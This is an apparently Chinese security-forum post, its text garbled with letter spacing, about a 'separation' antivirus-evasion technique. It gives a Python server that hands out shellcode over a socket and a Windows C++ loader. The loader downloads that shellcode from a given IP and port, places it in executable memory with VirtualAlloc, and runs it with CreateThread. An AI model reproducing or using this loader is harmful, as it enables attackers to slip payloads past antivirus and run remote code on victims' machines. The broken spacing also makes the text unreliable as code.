[17221] 2019-12-30_分离免杀测试

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-12-30_分离免杀测试     g a k k i   2 0 1 9 - 1 2 - 3 0 s h e l l c o d e V 1 7 s h e l l c o d e s h e l l c o d e s h e l l c o d e p y t h o n d e m o
n o h u p s h e l l c o d e i m p o r t   s o c k e t i m p o r t   t h r e a d i n g i m p o r t   t i m e d e f   m a i n ( ) :         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s . b i n d ( ( ' 1 2 7 . 0 . 0 . 1 ' ,   3 6 4 4 4 ) )   #           s . l i s t e n ( 2 0 )         t i m e o u t   =   1 0         s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )         w h i l e   T r u e :                 s o c k ,   a d d r   =   s . a c c e p t ( )                 t   =   t h r e a d i n g . T h r e a d ( t a r g e t = t c p l i n k ,   a r g s = ( s o c k ,   a d d r ) )                 t . s t a r t ( ) d e f   t c p l i n k ( s o c k ,   a d d r ) :         p r i n t ( ' S t a r t   d o w n l o a d   s h e l l c o d e   % s : % s . . . '   %   a d d r )         s h e l l c o d e   =   b ' 1 1 1 1 1 1 1 '   # y o u r   s h e l l c o d e         p r i n t ( l e n ( s h e l l c o d e ) )         w h i l e   T r u e :                 d a t a   =   s o c k . r e c v ( 1 0 2 4 )                 t i m e . s l e e p ( 3 )                 s o c k . s e n d ( s h e l l c o d e )                 s o c k . c l o s e ( )         p r i n t ( ' F i n i s h   % s : % s   '   %   a d d r )   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         m a i n ( ) # i n c l u d e   " s t d a f x . h " # i n c l u d e   < s t d i o . h > # i n c l u d e   < i o s t r e a m > # i n c l u d e   < W i n S o c k 2 . h > # p r a g m a   c o m m e n t ( l i b ,   " w s 2 _ 3 2 . l i b " ) # p r a g m a   w a r n i n g ( d i s a b l e : 4 9 9 6 ) u s i n g   n a m e s p a c e   s t d ;
i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] )         c o n s t   i n t   B U F _ S I Z E   =   1 0 2 4 ;         W S A D A T A   w s d ;           S O C K E T   s H o s t ;           S O C K A D D R _ I N   s e r v A d d r ;         c h a r   b u f [ B U F _ S I Z E ] ;         c h a r   b u f R e c v [ B U F _ S I Z E ] ;         D W O R D   d w T h r e a d I d ;           H A N D L E   h T h r e a d ;           D W O R D   d w O l d P r o t e c t ;           i n t   r e t V a l ;           i f   ( W S A S t a r t u p ( M A K E W O R D ( 2 ,   2 ) ,   & w s d )   ! =   0 )         {                 c o u t   < <   " W S A S t a r t u p   f a i l e d ! "   < <   e n d l ;                 r e t u r n   - 1 ;         }         s H o s t   =   s o c k e t ( A F _ I N E T ,   S O C K _ S T R E A M ,   0 ) ;         i f   ( I N V A L I D _ S O C K E T   = =   s H o s t )         {                 c o u t   < <   " s o c k e t   f a i l e d ! "   < <   e n d l ;                 W S A C l e a n u p ( ) ;                 r e t u r n     - 1 ;         }         s e r v A d d r . s i n _ f a m i l y   =   A F _ I N E T ;         s e r v A d d r . s i n _ a d d r . s _ a d d r   =   i n e t _ a d d r ( a r g v [ 1 ] ) ;         s e r v A d d r . s i n _ p o r t   =   h t o n s ( ( s h o r t ) a t o i ( a r g v [ 2 ] ) ) ;         r e t V a l   =   c o n n e c t ( s H o s t ,   ( L P S O C K A D D R ) & s e r v A d d r ,   s i z e o f ( s e r v A d d r ) ) ;         i f   ( S O C K E T _ E R R O R   = =   r e t V a l )         {                 c o u t   < <   " c o n n e c t   f a i l e d ! "   < <   e n d l ;                 c l o s e s o c k e t ( s H o s t ) ;                   W S A C l e a n u p ( ) ;                   r e t u r n   - 1 ;         }         Z e r o M e m o r y ( b u f ,   B U F _ S I Z E ) ;         s t r c p y ( b u f ,   " o k " ) ;         r e t V a l   =   s e n d ( s H o s t ,   b u f ,   s t r l e n ( b u f ) ,   0 ) ;         i f   ( S O C K E T _ E R R O R   = =   r e t V a l )
        i f   ( S O C K E T _ E R R O R   = =   r e t V a l )         {                 c o u t   < <   " s e n d   f a i l e d ! "   < <   e n d l ;                 c l o s e s o c k e t ( s H o s t ) ;                   W S A C l e a n u p ( ) ;                   r e t u r n   - 1 ;         }         c o u t   < <   " S t a r t   d o w n l o a d . "   < <   e n d l ;         Z e r o M e m o r y ( b u f R e c v ,   B U F _ S I Z E ) ;         S l e e p ( 2 0 0 0 ) ;         c o u t   < <   " D o w n l o a d i n g . "   < <   e n d l ;         / / R e c v L i n e ( s H o s t ,   b u f R e c v ) ;         r e c v ( s H o s t ,   b u f R e c v ,   B U F _ S I Z E ,   0 ) ;         c o u t   < <   " O K . "   < <   e n d l ;         S l e e p ( 4 0 0 0 ) ;         c l o s e s o c k e t ( s H o s t ) ;         W S A C l e a n u p ( ) ;         c o u t   < <   " S t a r t   l o a d "   < <   e n d l ;         c h a r   *   s h e l l c o d e   =   ( c h a r   * ) V i r t u a l A l l o c (                 N U L L ,                 B U F _ S I Z E ,                 M E M _ C O M M I T ,                 P A G E _ E X E C U T E _ R E A D W R I T E                 ) ;         C o p y M e m o r y ( s h e l l c o d e ,   b u f R e c v ,   B U F _ S I Z E ) ;           h T h r e a d   =   C r e a t e T h r e a d (                 N U L L ,                   N U L L ,                   ( L P T H R E A D _ S T A R T _ R O U T I N E ) s h e l l c o d e ,                   N U L L ,                   N U L L ,                   & d w T h r e a d I d                 ) ;         W a i t F o r S i n g l e O b j e c t ( h T h r e a d ,   I N F I N I T E ) ;           r e t u r n   0 ;
线 V s h e l l c o d e l o a d e r . e x e   i p   p o r t   # i p
s h e l l c o d e V i r t u a l P r o t e c t d e m o g i t h u b h t t p s : / / g i t h u b . c o m / h m o y t x / a a a A y y Y y
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则